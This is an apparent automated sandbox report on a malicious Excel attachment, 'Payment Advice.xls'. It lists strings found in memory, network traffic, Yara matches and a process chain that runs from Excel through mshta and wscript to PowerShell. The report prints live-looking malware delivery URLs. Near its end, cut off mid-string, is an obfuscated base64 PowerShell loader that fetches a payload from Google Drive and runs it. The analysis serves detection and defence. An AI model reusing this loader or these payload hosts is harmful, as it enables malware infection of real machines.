Source: mshta.exe, 0000000B.00000003.484724170.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta...v
Source: mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htaC:
Source: mshta.exe, 00000004.00000002.438014891.000000000373A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.000000000373A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.435287605.000000000373A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htacC:
Source: mshta.exe, 00000004.00000002.437957944.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htaha
Source: mshta.exe, 00000004.00000003.435816776.0000000002F35000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484482122.00000000034A5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.486572941.00000000034A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htahttp://192.3.176.141/4
Source: mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htapV
Source: mshta.exe, 0000000B.00000003.482193000.00000000002B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htat=nebulous&
Source: mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/vider
Source: mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/viderC
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000005.00000002.483382869.000000000342E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.483382869.0000000002071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.497828214.00000000020F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.549107311.0000000002411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002551000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000001B.00000002.564793899.0000000000170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.go
Source: powershell.exe, 00000011.00000002.549107311.0000000002624000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 0000001B.00000002.567313664.0000000002752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Source: powershell.exe, 00000011.00000002.549107311.0000000002624000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.gop
Source: powershell.exe, 00000011.00000002.549107311.00000000027E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000011.00000002.549107311.00000000027E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
Source: powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qrisni.me/
Source: mshta.exe, 0000000B.00000003.482261681.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qrisni.me/4
Source: mshta.exe, 0000000B.00000002.488759413.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.000000000027A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.00000000002E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.00000000002E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.xls, DA430000.0.dr	String found in binary or memory: https://qrisni.me/8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qrisni.me/E
Source: mshta.exe, 00000004.00000002.437120084.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.435304454.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434998134.00000000001B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qrisni.me/F
Source: mshta.exe, 00000004.00000002.437120084.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.435304454.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434998134.00000000001B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qrisni.me/O
Source: mshta.exe, 0000000B.00000003.487565897.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.0000000000300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qrisni.me/pV
Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49169 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 1372, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 252, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: Payment Advice.xls	OLE: Microsoft Excel 2007+
Source: Payment Advice.xls	OLE: Microsoft Excel 2007+
Source: Payment Advice.xls	OLE: Microsoft Excel 2007+
Source: DA430000.0.dr	OLE: Microsoft Excel 2007+
Source: DA430000.0.dr	OLE: Microsoft Excel 2007+
Source: DA430000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingsevermeetwithgreatthingstobegood[1].hta

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjp